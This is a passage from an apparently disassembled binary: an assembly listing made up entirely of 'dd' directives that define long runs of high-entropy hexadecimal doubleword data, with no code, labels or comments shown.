		dd 0CC960024h, 21603B72h, 9D017C18h, 0E4D61D3Dh, 0A120AB6Bh
		dd 31E203A3h, 6C834F62h, 96019907h, 0A647556Ah,	5D532C80h
		dd 3F29F46Bh, 6E847888h, 803D62D4h, 0DC31DDB2h,	51D14D1Eh
		dd 19385EC1h, 89E1701h,	972070A3h, 4400D17Dh, 2128DB3Ah
		dd 0C11E9Fh, 0EC3B212h,	278DD5BFh, 4BE50200h, 0ECE71876h
		dd 7C173EEEh, 1636FD80h, 38849775h, 0D95D090Eh,	1522841Ch
		dd 16245200h, 0FE30F7E5h, 8D25907Bh, 28F41Ch, 8BD2AEA4h
		dd 23B3999h, 0D47D8C0Ch, 8C3EC031h, 4DD1791Fh, 0A2887E91h
		dd 0F3207B98h, 721400D0h, 0D5369F4Bh, 476C498Bh, 0ADDD8858h
		dd 8608C02Ch, 8E3069B4h, 0A73FA961h, 0E27A2A7Fh, 3918E988h
		dd 974E1604h, 0E3311ABCh, 51800418h, 7FAAC16h, 58992336h
		dd 81919C3Dh, 0A873E400h, 0E6F01932h, 0EC4D0552h, 6E58A09h
		dd 803CC9D2h, 0A8D55A02h, 40803951h, 3D865F00h,	0B96EA23Ah
		dd 8700E4AEh, 3FFB5DD5h, 20E5F17Fh, 9407BEC2h, 6A78FD6Fh
		dd 0D4305CA7h, 0E2220Ch
		dd 0CA5451EFh, 752D4794h, 2B8F6700h, 21EE102Eh,	0ADED1EB7h
		dd 4A003DC0h, 8E57C8A4h, 0B81FFE88h, 80793FCFh,	0F62AF0D0h
		dd 93554Eh, 0E192069Eh,	13418A61h, 5C016F25h, 0C448002Ch
		dd 0B466CA59h, 20CBD4Ch, 9D7D8E35h, 0E023C0E1h,	0D4D500E5h
		dd 688018CCh, 6C00267Ah, 81486175h, 13F4F9h, 87B57CEh
		dd 0EC42B316h, 1577B500h, 0E3A0A838h, 49D7071Eh, 40C70E8Eh
		dd 0A9A710AFh, 9100F87Bh, 0F0ECAEE5h, 2E4A70DFh, 80881Fh
		dd 5D603397h, 73002CA2h, 9E9F57D0h, 0BBD793h, 0CA4782ECh
		dd 0E6098FC9h, 4037DF00h, 488099BFh, 0CC231DF7h, 446ADF1Ah
		dd 80A2B8A4h, 0FB436506h, 41B37800h, 83AE09F1h,	0E6A000Ah
		dd 0C5186C79h, 0CCA032AFh, 3C12848Dh, 0C0F8BECBh, 40F36303h
		dd 67D9A737h, 0D494D077h, 269A1300h, 7D3EF68h, 0B6890222h
		dd 0AA211B3h, 6E56FC80h, 30018644h, 0F2C1B9BDh,	5DECB65Eh
		dd 0E57E0012h, 203D41C2h, 244CD41Ah, 0AA00731Ch, 0B5DF48F1h
		dd 884DE8h, 0A0137F74h,	728C5168h, 9E00E1FAh, 43A40240h
		dd 85AAF1h, 3570AD74h, 6ED9B101h, 19C26C00h, 8E71CF77h
		dd 737873E2h, 0A7434899h, 46D5A00h, 0DA1845DCh,	0D8032200h
		dd 5605EC4h, 6AB7004Eh,	71090CFEh, 0ED001CC3h, 578BEE31h
		dd 788F59Ch, 3EC03583h,	0AFA990CCh, 99017A2Eh, 0D70A15E4h
		dd 0D8C4D616h, 9F2000B1h, 0ED027781h, 5200276Fh, 7E77E22h
		dd 90136EA2h, 3EE800E9h, 6F7A8016h, 30008A40h, 83794ED8h
		dd 1584D73h, 262E6B2Bh,	203DE562h, 600C733h, 2DCDC214h
		dd 0D13437h, 738AF62Bh,	2004C505h, 5B305F00h, 0AB10395Ch
		dd 8C130076h, 0B1C7CA6Bh, 83019E43h, 0AC78B3E4h, 19BC8A35h
		dd 4A5A1080h, 8D46FAD6h, 5730EC00h, 0C05D722Ch,	0C3F809h
		dd 3F7BCD67h, 764F705h,	872B3638h, 0A044F657h, 0B81AA703h
		dd 1744D4Bh, 7B4945B3h,	0E0924734h, 3C009F75h, 631C513h
		dd 0E1A0767h, 0E823384Ch, 0D42714C2h, 0CBDC79E0h, 0D16E9130h
		dd 0FCEE0Fh, 79192130h,	519EA9B2h, 7E61B603h, 80B1AD8Ah
		dd 5A63F2h, 0C6E5D83Ah,	13F532C4h, 0A0D2C800h, 0A44E1427h
		dd 7C910011h, 1ECF306Ch, 671F2B3Bh, 8549829Ah, 1BC1006Fh
		dd 653FC47h, 0BE8ED4E6h, 4600101Ah, 43E5B285h, 1F29ADEBh
		dd 3B9FE9h, 2A567999h, 7D00EF71h, 2A6138Eh, 30145868h
		dd 69686ECAh, 6600FCC6h, 0F0B1AA70h, 486DC0h, 73904D82h
		dd 0F7C6DC63h, 7AAD0F00h, 0E640FADDh, 559D0703h, 0C05384E1h
		dd 98B90D2Ah, 10077ECh,	923E579h, 0AA0C37h, 63B051D0h
		dd 0F18A9939h, 0FF319403h, 0F0981504h, 0EC650D4Ah, 79F9001Fh
		dd 0FB61EE51h, 8D00B0B6h, 73C5FF34h, 282FF73Dh,	0A497F3h
		dd 601013A5h, 0B47A9D75h, 0C64A8400h, 0C458EE28h, 39D705F6h
		dd 5783AAh, 0E423E78Ch,	0B9396FBBh, 8BEC03E9h, 90C0E28Ch
		dd 3F72AA90h, 0F300E16Ch, 0DF2CBB9Bh, 6003A71h,	627887AFh
		dd 7DF5A359h, 701E3A33h, 0FEAE0581h, 20CBE77Ch,	0AC0124B8h
		dd 9C198CEAh, 8C706B5Ch, 6C1409E9h, 0EF8E1DB5h,	8172C81h
		dd 15C42402h, 0FAF9F100h, 0A8D187CBh, 0A7907CEh, 7B5F18h
		dd 964CF2Eh, 3C223100h,	9AA94268h, 0A01100A7h, 0BFAD45A3h
		dd 0B930C826h, 3049E02Eh, 976B01F6h, 817AD8E2h,	0A06980E6h
		dd 8F2B8DDBh, 0EF730008h, 0BFC30B40h, 0E0FA0AA7h, 0BDD59000h
		dd 0D8F709FDh, 95AE00A5h, 0F67562EBh, 6E3A8F05h, 9C940089h
		dd 20EFE10Ah, 9D1F12CEh, 9203AAAEh, 0F822BF1Dh,	0E8FA9Fh
		dd 5D0F18DEh, 0B362AA47h, 0D283050Ch, 544125h, 9A6CDB09h
		dd 0FEDAC6F4h, 80A4B430h, 7A110BF3h, 30D47186h,	6306E94h
		dd 72B833EDh, 0AF025490h, 0DBF0D61Fh, 0B1108092h, 16B73Eh
		dd 943A7DA4h, 0F168C6E7h, 73CBA000h, 6A831582h,	0E75848B9h
		dd 76644701h, 0E82574EBh, 0EF000CBBh, 284DED9Ah, 7BC5B8Ah
		dd 3865B11Eh, 207A53F3h, 0D500E870h, 0AC7EF6DFh, 34C3BCh
		dd 7B0396F7h, 0DB413733h, 0F59DBA24h, 48383000h, 29FD4D6h
		dd 332F9CABh, 880E745h,	0DC42326Ah, 0B09ED70Ch,	341319Dh
		dd 0D931D163h, 8E93F683h, 863A5C80h, 94EDA100h,	9E76471h
		dd 0BF571DCDh, 0D15F80F3h, 678FBE0Eh, 0E4CCD8C3h, 81207146h
		dd 23288154h, 3C94E9D0h, 2ED21980h, 99D7CA2Dh, 555A0B00h
		dd 1D7FEEAFh, 7C5731Ch,	0F80CB840h, 4E74100Ah, 0C40028BFh
		dd 0E7D4A0DDh, 0B14A13h, 0C683CCD6h, 0D0B51FC2h, 2FF8DE01h
		dd 0CFF36750h, 1E0BF8h,	0DC80B2FDh, 6ED1CD26h, 0EF653109h
		dd 944825D7h, 27B8DDC0h, 98F70E16h, 0BD076FA6h,	18D2579h
		dd 32D0DC68h, 2CF4CCDFh, 55F824BAh, 0ADD3631Ch,	0A57BBB83h
		dd 70B0A75Eh, 549299h, 4429F4A7h, 9E50EDE8h, 42007171h
		dd 0BADD8A8h, 0F249C20h, 0DE04FA58h, 9818C600h,	0E0FCABF1h
		dd 0E848EA00h, 84BDB16Dh, 0EE217E5h, 27C50029h,	7888FFA1h
		dd 0CC68A200h, 59EDD893h, 362500FEh, 0A42FF567h, 7E00A85Eh
		dd 0EE6C5D4Dh, 45CB5Fh,	0DF0A014Fh, 68229A23h, 92252700h
		dd 0FE6967D1h, 0FC7500D4h, 29BE8A57h, 0E7E8B2C5h, 7B6AC700h
		dd 132FAB26h, 12A76FCh,	72AFB6F6h, 50607703h, 95BC0590h
		dd 5702D300h, 377E0AD2h, 74D849A6h, 69E7C900h, 0F4B24027h
		dd 0DF83Ch, 0C0CABE6Bh,	5AC14h,	2D1EFAD9h, 4CB658FCh, 971C8707h
		dd 49B552C7h, 0FF9FD401h, 71868480h, 183DA36Fh,	2D393114h
		dd 7DA800C0h, 4E4BE0BAh, 93EC0097h, 110C994Fh, 56009D45h
		dd 9BD3670Fh, 0C05271DBh, 5591A749h, 0D03C0AFCh, 68C30098h
		dd 95D7B296h, 1890019h,	9B59BD7Dh, 0B70C53A2h, 91063507h
		dd 29E085h, 0E7F54E95h,	0DEF6B31Dh, 0BE00E9E4h,	88234762h
		dd 54D153B7h, 754584D5h, 0BD1E07B0h, 474A2DEBh,	0C0DCB3DDh
		dd 0D084B5B9h, 0DE00C12Ch, 0A116DF29h, 92D870EFh, 0AC680154h
		dd 0DE516090h, 0B9E4ECF3h, 360BC51Ch, 8E90CF18h, 5F23002Eh
		dd 0A379A4B7h, 8F3D9E3Bh, 7B181EA5h, 0A201987Ah, 25E588h
		dd 8862C58Ch, 12482A2Dh, 0DCD59201h, 0E58A7AB1h, 74E0F2E1h
		dd 5794A951h, 0B45A6FCh, 1624CF84h, 40176D85h, 0CE04E984h
		dd 0C2037A7Dh, 1AC942EAh, 0DF80EDFDh, 49A6B22Ah, 890098D3h
		dd 110A4A5Fh, 0BD7CABC2h, 0E44F8CA9h, 5AFC18D1h, 83BC7F38h
		dd 71DD7476h, 86813E5Fh, 4B7EC487h, 68A6933Eh, 78CA90A0h
		dd 0FB00E491h, 204EEDF9h, 8E0202AAh, 17DB81Fh, 0C5E59098h
		dd 0E0ED9600h, 0D4A5DEA3h, 1E0903E6h, 74C8FBA4h, 9101FEA3h
		dd 5494B3FDh, 90307C0Eh, 8ADD00C3h, 0B51BC461h,	0F3015EBEh
		dd 0F8C50F82h, 61810E36h, 314B3951h, 0F584D0F4h, 0C0C4C924h
		dd 5FFD1000h, 2A017538h, 0CA89DDCh, 5925A648h, 76000670h
		dd 0BCE00AB1h, 3316418h, 0EF98C9BFh, 0B0B09432h, 24916795h
		dd 4B688580h, 906C076h,	715B74BDh, 30161411h, 0A403421Bh
		dd 0B5613AD4h, 400F8AF5h, 535A30h, 63014382h, 21C08C42h
		dd 691A1C1Fh, 10032B09h, 89A355B4h, 5C0430C0h, 997FB3Eh
		dd 102C6183h, 784080h, 74322BA7h, 4FB56ADAh, 54B01C00h
		dd 4056CABDh, 0C60FF01h, 221200E4h, 58F9CC32h, 6238F641h
		dd 0B682874Bh, 1F07F4B5h, 2FED5911h, 9A7BE0h, 0C1E24FC5h
		dd 37441EFBh, 84B2DD01h, 3DAD7A95h, 90318180h, 88806BFEh
		dd 0B8F1E801h, 591EAB1Ah, 0EB7C7980h, 0F94FFC6Ah, 40DDD807h
		dd 0C47E806h
		dd 37B3C880h, 0CC78010Dh, 412CC742h, 8AD047A2h,	0FF94BBA4h
		dd 0C808451h, 45D9461Eh, 843AA498h, 29E98C02h, 1DEFE87Eh
		dd 2C4E58FBh, 0FAB0E38h, 68279920h, 0B1C0AE7Ah,	0EE706CD9h
		dd 0CE8B0095h, 8C311822h, 0B0007434h, 9E532EBDh, 0D4AF79E3h
		dd 8307C031h, 81C91231h, 0ECF57696h, 1713282Dh,	4C1E392Fh
		dd 6F910BC5h, 6758B9C0h, 6C9974h, 765A1A84h, 0B00F5C6h
		dd 233E9641h, 6D1559h, 1963EEA7h, 7B927040h, 2CBDA424h
		dd 9EFB00BBh, 1DAD6467h, 22EA09BCh, 5D81CE6Eh, 32720F9Ch
		dd 28AE00F8h, 3F358BB0h, 0B52702C5h, 0C3E48C02h, 80856D41h
		dd 182FF412h, 48897156h, 0E90C4039h, 0DDE1AB79h, 0DB89500h
		dd 4F402AFEh, 31A5092Fh, 3506AA36h, 743068A1h, 0AB097156h
		dd 0FECBE614h, 341F0030h, 0F837BCC4h, 600226DDh, 0A7636A78h
		dd 0BFA0907Ah, 517D3B3Ch, 0C03BA59Dh, 0FE794B74h, 0F30D377h
		dd 2B63D059h, 9D40194h,	2F38067Ah, 4FE2418Dh, 50798168h
		dd 0D5014582h, 4C29E448h, 247BF4A2h, 8FE022A6h,	1DC4E992h
		dd 39B2C007h, 0D000BAF2h, 0E674115Eh, 24AADF68h, 835C1837h
		dd 5C1AEBB7h, 0F5A1BF89h, 7424417Fh, 0B9798057h, 30C2429h
		dd 2C110002h, 170EB78Eh, 73000901h, 4864CD2Fh, 4D3608CAh
		dd 39004015h, 549A4365h, 0A600C4C8h, 0C2A43B4Dh, 0DEF5CBh
		dd 2ABEC10Ch, 7C0D233Ch, 0BC891B26h, 2EF4043Bh,	64C935C3h
		dd 1E8313FCh, 808BDCA9h, 0A172881Eh, 9A00452Ah,	3D2512AAh
		dd 61A57416h, 337EB920h, 0E2D68173h, 38FB8122h,	26BDFADCh
		dd 3095867h, 7226916Ch,	610FE1AEh, 0A0D16377h, 0E3E68811h
		dd 34BB0764h, 39A6D4BAh, 54234820h, 0C400DE69h,	0B13EF340h
		dd 6FA59C29h, 39A021D9h, 5B43B47Ch, 82233A02h, 44D12C2Fh
		dd 97B50E20h, 72C08676h, 3E2730D5h, 0F952F02h, 90D0F75Ch
		dd 0ECA757BCh, 0D46709D2h, 2780157Ch, 49FB3163h, 0B7415100h
		dd 11AB1806h, 0BF3C00E0h, 0A61EFC65h, 0A700E415h, 6D20F40Fh
		dd 0C1E6BBF6h, 0E0AA57E1h, 338Bh, 6E971195h, 1C8AE6h, 8E26A90Eh
		dd 86A6CFC2h, 95032702h, 20B07A73h, 0B1A41B12h,	1AC414Ch
		dd 4DF13FABh, 56C042AEh, 5069CB5Dh, 0D084909Ah,	0EEEF4058h
		dd 653D2Fh, 0C474AA56h,	72F60647h, 3D1B133Eh, 0E0BD8069h
		dd 9FFA683h, 5828A15Fh,	80210463h, 51AC0904h, 163A7CA4h
		dd 20A5A611h, 0EC60DFECh, 6800F979h, 8AF089FDh,	80220Eh
		dd 91E0ABB0h, 0CBA79B65h, 0E86E8100h, 0DB7A143Ah, 615E6074h
		dd 3FEDAEAAh, 81E9FC38h, 0B405E7DAh, 0F47270F0h, 0C1024B03h
		dd 73F8273Bh, 0FF4C79A2h, 250701DFh, 9FB07291h,	0D060A8F9h
		dd 0EBDC00B9h, 0AA8A840Bh, 8CA89A98h, 71C05A74h, 44FF72D0h
		dd 659316EFh, 4A8C0766h, 2D1F4211h, 22A48449h, 41600044h
		dd 0A6186ACh, 1A200B2Eh, 2C902CE3h, 0A800D177h,	809BF5A3h
		dd 3ED86FABh, 0CA8B73BCh, 0A8309CA4h, 5F051D60h, 32350C3Fh
		dd 0FC28B440h, 0E2BE8BD9h, 209449DEh, 0CBF57D00h, 0FC023B09h
		dd 80F0DC58h, 0C5918BA2h, 810B6335h, 0E5B05313h, 801B71Fh
		dd 4C3FA915h, 0FF2041BFh, 5CD10514h, 14275853h,	1C83DC6Ch
		dd 9D00533h, 6E003937h,	0C82CAFF1h, 0E5CC15h, 89E05A26h
		dd 0ACF9620Fh, 0F8CE972Ah, 0CD8F603h, 0CD533FF1h, 0D266400h
		dd 1BADF8Ah, 9842EEF6h,	0C931BB6Dh, 0AC982043h,	2968D904h
		dd 4C87757h, 0EB5A0049h, 0CF58948Ah, 0E00A0DF7h, 0E0C4A097h
		dd 0C4255213h, 4F431C80h, 0AD110028h, 88B5B0E6h, 0B490808Ch
		dd 176D5926h, 82192C03h, 1DC69126h, 8AC2C2h, 0B9A18820h
		dd 1546FC51h, 0A8E170C8h, 0DA85183Ah, 81A6D915h, 0E8056704h
		dd 29583A87h, 0E71A0661h, 5849D2BEh, 8C006457h,	741EFF22h
		dd 0D400E145h, 4486FC10h, 5A5363h, 141D3D40h, 0A77AC85Bh
		dd 0A92E3C01h, 0F7D389EAh, 7FB942F4h, 59CE09FAh, 241135F9h
		dd 0A854C497h, 890FD00h, 0A758607Fh, 35A201F7h,	71D61B19h
		dd 0E0321055h, 2DBE0012h, 0F4C66A97h, 4500B7BFh, 0CD68291Eh
		dd 803DA46Fh, 4000ED77h, 8CAFC58Fh, 3F312791h, 83001E64h
		dd 0F4B72181h, 0A4B046A2h, 0FE02D8EAh, 0AA60DA0Bh, 3C90649Ah
		dd 516179ECh, 0CC3A668Fh, 0D87A1C4Ch, 0E401E7E4h, 11B79349h
		dd 2CE06DD0h, 9AEF04E0h, 984C53E3h, 44121C10h, 8488BF1Fh
		dd 0F3E90047h, 4C39D4D8h, 2630746Bh, 0A4A6263Bh, 0F8B979h
		dd 0D01CFF6Ch, 9145D48h, 8AB5B6h, 3D593FB3h, 0A81A2C72h
		dd 6B1A4h, 0ADE38E35h, 0FCA480EEh, 3AC56D01h, 414532Ah
		dd 2BFF2982h, 0A8417461h, 0C4003054h, 2542527Ah, 751FBD22h
		dd 0C700179Ah, 3A215FA3h, 0A6B2181Bh, 5EA721D6h, 83AF0C1Ch
		dd 6B267940h, 87DF5Bh, 0DB581281h, 0FBEB29F3h, 0FA406896h
		dd 84C9ECh, 39109CC3h, 3DA526FDh, 68564509h, 7E8C9077h
		dd 8CF4007Ch, 4792C6A9h, 3902A4E6h, 0AF82D99h, 4704681h
		dd 66526B5Ch, 0A0CC82Ch, 55BB4801h, 919B2B9Ch, 357FD4h
		dd 0D997C44Bh, 7DA19D0Ch, 73F6CA00h, 720299B0h,	0C951C353h
		dd 0C4F8D413h, 0A50C04F0h, 90FA5ABFh, 80765CE9h, 7B84E33Bh
		dd 0C3AF7DA2h, 4FE02F15h, 6F4CFE12h, 0BEB31E8Eh, 18C651C1h
		dd 59A75955h, 7B00D2D8h, 0E984B297h, 0BAB5BC3h,	0BD74499Ch
		dd 9FA88E00h, 1E1DFB05h, 7ABEE77Eh, 8FE4F838h, 2733BD0h
		dd 447129DCh, 0A732000Ch, 0F96F9CE3h, 85005FFFh, 0B6CF7C6Bh
		dd 4EDEF8E4h, 0B98000Dh, 0B2C284D5h, 4EACBE00h,	5C8D7E9Eh
		dd 0EBC01F47h, 8008E679h, 5E26F164h, 4C006A14h,	0A0FB915h
		dd 13DEAE86h, 9035CFD9h, 0B7EAC47Ch, 0AF32E701h, 3DEB43F6h
		dd 0A81435E8h, 0E0CCEFC0h, 50820088h, 0E6764D69h, 8C01A28Bh
		dd 282EF3A7h, 8450D745h, 385A85FCh, 89E05205h, 0FBEC489Fh
		dd 0F6055874h, 2A0AA863h, 0FDEA7C41h, 0C8F8DD1Bh, 4C6900CBh
		dd 3DE0B3Ah, 1A288361h,	0A7004437h, 0FFE769F9h,	0DEB854h
		dd 838F3E33h, 0FEF3F09Bh, 857D0200h, 62CAB456h,	0F186091Bh
		dd 0E0E445FDh, 1F7F2400h, 960DE950h, 91800E2h, 9B6D4875h
		dd 0DD50934Ch, 0F00059D8h, 5F7B749Ah, 26BD3B6h,	0B35A52ECh
		dd 6CC4D401h, 0C8DD7428h, 0A6042604h, 0C8885253h, 1E7273BCh
		dd 0C0540885h, 0D895F3C2h, 24B82623h, 12F6B207h, 0CCD2A2C7h
		dd 0E2E480C1h, 90D43F74h, 84853EA8h, 0A12E17h, 320AD8C8h
		dd 2B525439h, 0C8B505A8h, 38445652h, 0E8C1A6C3h, 8627B4Ah
		dd 69140E00h, 89A4F7C0h, 0E8BDFC00h, 2ABA139Bh,	39C90095h
		dd 85FBEF11h, 0DE392065h, 0FC0E0304h, 0C0C16F88h, 5CC8A116h
		dd 0F81E479h, 0F413BA66h, 0EB032451h, 58EEDB5Fh, 5634875Ah
		dd 0A11EF947h, 307AA4F6h, 0AA251B4Ch, 17427B2h,	844FA05Ah
		dd 0A894287Fh, 0D500F8A2h, 346A222Fh, 70E9BED4h, 1A774EA7h
		dd 57693300h, 0ADCD62Ah, 0F49C0052h, 130BDB9Eh,	0AA0CEFF9h
		dd 495C7550h, 0F8D2F6BFh, 0B01F01ABh, 611F144h,	4EF040C7h
		dd 0AA178936h, 44BD2BCh, 0A7A0E4Ch, 0F700207Ch,	2ABEDD7Dh
		dd 74E92612h, 6E354078h, 0EB3C8EC5h, 0B6B08445h, 6C804C36h
		dd 0C4BF16Ch, 0D7A5B713h, 0AF17B9F1h, 0EC032252h, 0BA01EA69h
		dd 0DC6C29h, 5BBD7A62h,	2A984B50h, 5062EFh, 837C3886h
		dd 524BDA3h, 0F6E5A996h, 5A138267h, 0D1C3B440h,	3136CD11h
		dd 0A0917100h, 8F78D958h, 0D4A57C18h, 0F02FDF89h, 871402ABh
		dd 280D3869h
		dd 0B7F5BA82h, 31C81C40h, 3B230900h, 3D675661h,	400C9428h
		dd 0B9D86DF4h, 0C90C8024h, 0B416600h, 924F805h,	76CC7498h
		dd 0AFC0B893h, 1701618Bh, 0DBAA4ADAh, 2AFC7544h, 67E0034Bh
		dd 2CC12097h, 3D5682C8h, 0FF378B17h, 0C79EC847h, 0B848FDE3h
		dd 1D69B0EDh, 4044D46Bh, 0BCD66EE7h, 67090B75h,	44C31171h
		dd 60E023Ch, 72A737BAh,	140D490h, 15349260h, 1213A6CEh
		dd 20728248h, 361A7054h, 7A005C7Fh, 1B3FDE21h, 0FC4463h
		dd 758C6F18h, 65A46905h, 56143Eh, 29C8519Bh, 2275CFCh
		dd 0AE262283h, 1B61E474h, 0EC82971h, 812811B4h,	703DE0A1h
		dd 4E472F6h, 538E6AE2h,	6707C0A5h, 0A09FF2Eh, 8FB92903h
		dd 98BC80EAh, 0AB1937ABh, 0D2CD88BCh, 0A9B0748h, 9C8C61h
		dd 0AC64F630h, 26A5AB00h, 10CD2082h, 0D1DE24BFh, 0A35A87FCh
		dd 0E54C7B0h, 7E3C8CF2h, 6C6D0A00h, 85EB9147h, 125971B2h
		dd 604FFFA1h, 0B86A44E0h, 0D236F00h, 0E5D2B88h,	40375A61h
		dd 7C51C798h, 0A913565Eh, 1B00B96Fh, 0F3DC422Ah, 47710C20h
		dd 1E515B77h, 111F6C00h, 0EC18641Ch, 0AC854925h, 0E1DFE90Eh
		dd 0D520C40h, 1C989E71h, 48A4DE5Ch, 4506C008h, 3E53DAh
		dd 2CBB181Eh, 702FEE9Bh, 0C31BD513h, 71AFA007h,	0C2D06079h
		dd 78A55C7Dh, 49A21C80h, 0B30197D1h, 6A7E824h, 1C2DA3DFh
		dd 0E963007Fh, 5037DBF1h, 8C007BA0h, 0A979DD9Eh, 797606Ah
		dd 0F645340Fh, 2F7423D8h, 51AFB588h, 85ABD612h,	886D24D3h
		dd 603F8F19h, 0D14590C2h, 0A9282B5Ah, 917CE7Ch,	0A81CA244h
		dd 68A3CEC9h, 1D5089C8h, 4212D8B2h, 17CDF7Eh, 24B1DDC0h
		dd 54F5C001h, 74BC15C8h, 8F005869h, 31300AF9h, 0F212C2D1h
		dd 0DC036A01h, 0BF47566Bh, 82D4C9B9h, 97B4FE8h,	8F23EECDh
		dd 0DE25E818h, 5B13B300h, 3405737Ch, 0B5E205C6h, 0CCB2BA8Dh
		dd 35005FBCh, 3427AA51h, 7FFDB97Bh, 51EFFC52h, 698791A7h
		dd 0F666A1h, 0C8D444Fh,	34E948h, 82A9A543h, 1F4B3F8h, 0BEB5834Ch
		dd 3CAADD71h, 0EC79808Ch, 0E77AE0Eh, 0E8B9FB47h, 4DB31480h
		dd 4F2D2CEEh, 22242075h, 0DBEB2Fh, 8EE1A50Ah, 23A4F510h
		dd 7BBD33Ch, 0A2CAC77Dh, 133C863Bh, 4084B6C1h, 0D58E3937h
		dd 2D10AC00h, 46360C47h, 88930060h, 0FC623044h,	0D0FF8086h
		dd 0B400D11Eh, 57957C0Dh, 5C8B9DFFh, 8CC05871h,	0DF850541h
		dd 0C5A75D1Eh, 0A8BCAE80h, 7E4C8D2Ah, 50152713h, 0FAE66CA0h
		dd 213E9087h, 0A20A11E5h, 3C905F2Fh, 0A7000D07h, 8715F2CDh
		dd 622E77h, 86E945DFh, 3CD37435h, 26A68A00h, 38CA3385h
		dd 0DD2A1C2Ch, 61482ECEh, 60BE9AA7h, 8D2DC9E4h,	6D8410AFh
		dd 79503E7h, 0CAE5594Eh, 0E2602580h, 18D5DC00h,	8D81FE97h
		dd 25D9F464h, 40A95751h, 0CE8E2098h, 0B7670702h, 48A6EEA3h
		dd 4F948CD4h, 956C417Ah, 80B13AB0h, 4670C22Eh, 3482E9Fh
		dd 2096F9D6h, 5FE0B88Bh, 0F80A5987h, 0BCDEA667h, 0AB6A89h
		dd 0BF70F59Ch, 0CDA20464h, 0F2312D51h, 5922E0h,	0DFC91CDDh
		dd 207B6DD9h, 73E7610Ah, 8901DC64h, 0A0144EFAh,	44298A6h
		dd 0B2B1EE4Ch, 9E9B0170h, 9A73AB1Dh, 2908D420h,	942CE3h
		dd 14F1A822h, 60025BAh,	4CE5D8CEh, 6F2BC9Dh, 0BF4D2E6Dh
		dd 7CA089DFh, 715C0E48h, 8FA380B8h, 11C5E4h, 52B80516h
		dd 0B4A93046h, 439AE51Eh, 1939D4C5h, 59113841h,	0F2CC0FBAh
		dd 0D44D000Dh, 76969963h, 90014516h, 4362F450h,	0CFD3BBDFh
		dd 40B33B04h, 8B0D2500h, 8A3D7119h, 0ACE0AA1Eh,	0FD915BC7h
		dd 4CC058F5h, 9CD10FDEh, 7A5F8080h, 7108D223h, 311D96FAh
		dd 6C80F6CBh, 17203D50h, 0CDAC0144h, 0D63F63F5h, 4DD4600Eh
		dd 458B48DFh, 0B5F41074h, 3D400094h, 0DA131548h, 0F5000A5Bh
		dd 333B0FCDh, 0AA6D68h,	0F9224A88h, 9BF3A3A4h, 1490A54Ah
		dd 8E93CAh, 0ACC73A30h,	48A8CB9Ch, 0EA313Eh, 68E46256h
		dd 4EBEF8h, 6C55997Ah, 88269C66h, 1507EF0Bh, 7E10114Fh
		dd 5400C479h, 1D980471h, 0D00D7ECh, 2EBAF21Eh, 96BDA647h
		dd 6E168000h, 0CA7E3B60h, 0FA8A7D02h, 79E09712h, 0C01F1D0Ch
		dd 2C6BAE69h, 950071CAh, 3F3CD6C0h, 2852F1CDh, 14885782h
		dd 44751013h, 73BC200h,	2EC59A7Ah, 0CD256E01h, 0A6F05489h
		dd 0C59E8h, 0CEBF84B3h,	328C8B7Eh, 25BCA95Ch, 0D8FC4B70h
		dd 709694C7h, 0D9333CF7h, 2077B697h, 0E0E3B768h, 8E00C9F2h
		dd 5291A408h, 922652Ah,	710BC531h, 8A5BFC68h, 18E71C00h
		dd 40874F0Eh, 6A2C2EE9h, 2FAA602Ch, 0DB0ED7C1h,	5DD1957Eh
		dd 849C4480h, 35F13D2h,	0F5775CBEh, 1D819D6Fh, 58FCE8B8h
		dd 6C3A4012h, 1EC7C8C8h, 4017817Fh, 7468D2EBh, 3EEE4C9Bh
		dd 2E1AE201h, 2C27DAACh, 407F072h, 4081D272h, 0DFA1662Ah
		dd 3AF4EF00h, 9A24F9A6h, 0CF7B0156h, 2D7CE0ACh,	5C0AC066h
		dd 3E4410BCh, 0C1C4B440h, 234B97ABh, 80542048h,	0DFA28E8Ah
		dd 0C50FE285h, 0C141D649h, 0C1D5092Eh, 0B45F8E4h, 2CC8E98Ch
		dd 0B88638E8h, 1D38F7F8h, 5BC50062h, 0F7F06D6h,	35C21865h
		dd 31AB790Ch, 835ECE00h, 745C7556h, 1615734Ch, 0D0E5BEDCh
		dd 7F6B56Ch, 0B0ABDD08h, 4C3C02D0h, 7CE1A61Ch, 0C4C068DAh
		dd 0B4E2C8BAh, 6B628100h, 97215463h, 40C9D700h,	1F2CF252h
		dd 0A2D005CEh, 0A17A3680h, 4C80EE2Ch, 81988F4Dh, 0EA8A4500h
		dd 93FBEBAAh, 2209055Ah, 0C8A69012h, 44004D78h,	0A7B76614h
		dd 0DC1149h, 4CA4F038h,	0DE21180Eh, 0F9BB6313h,	52DA30Eh
		dd 5CC06C2Ch, 2A4B42Fh,	87EEF3D6h, 18527730h, 0DF346D02h
		dd 60070E62h, 0EC5CD880h, 0DD830F67h, 39FEE01Dh, 9079C514h
		dd 8C01DF80h, 0CCBC7B8Bh, 0D8C066h, 0A135656Bh,	2FBF62F6h
		dd 25720A00h, 7F8E99F8h, 4F6C01D3h, 0C3413DF1h,	9CA2E6ABh
		dd 0CC41EF3Ch, 80D42C43h, 4849B595h, 0A3DB2C8Ch, 0ED580955h
		dd 92035464h, 0D7FCAE7Eh, 0A361E056h, 0DB350071h, 118C70AFh
		dd 0CCA45253h, 2E7BFF19h, 0D8227E39h, 54B32A00h, 7083A9EFh
		dd 0C39CDD5Ch, 882241C2h, 7C3C4Eh, 8301E334h, 70AE6B1Dh
		dd 0A91910E5h, 4F51006Dh, 7A27C469h, 562CDF8Ch,	53014D20h
		dd 7196F3F2h, 5C291840h, 0EB770014h, 2086BF48h,	0F1C6BC2h
		dd 0D8801B83h, 0CFF5E563h, 3AFF29A5h, 0D07E12ACh, 1CDFD940h
		dd 0AA5DA700h, 2E4B91ABh, 2CC51E90h, 1F4E80FCh,	26DF9457h
		dd 0A53B2312h, 44C7500Bh, 245E0328h, 400731EDh,	3C4D4EE8h
		dd 0B2C3261Dh, 0C00094D6h, 1F654858h, 79E82D6Dh, 435FDCA0h
		dd 9500B376h, 0D2F2AC80h, 58A67F24h, 0B0096070h, 0D0E8A593h
		dd 0E40B2C4Dh, 7620D9CCh, 0F2250222h, 14E065BEh, 0A006E47h
		dd 0FBEC9058h, 0E2497554h, 0DAD40FF0h, 8D60B508h, 0FE20EB32h
		dd 6CD78800h, 0FFBEC776h, 11C90084h, 0F04070D8h, 5B5CF6EEh
		dd 61007CD6h, 561808F4h, 0C04E04E1h, 9868C39h, 897710A1h
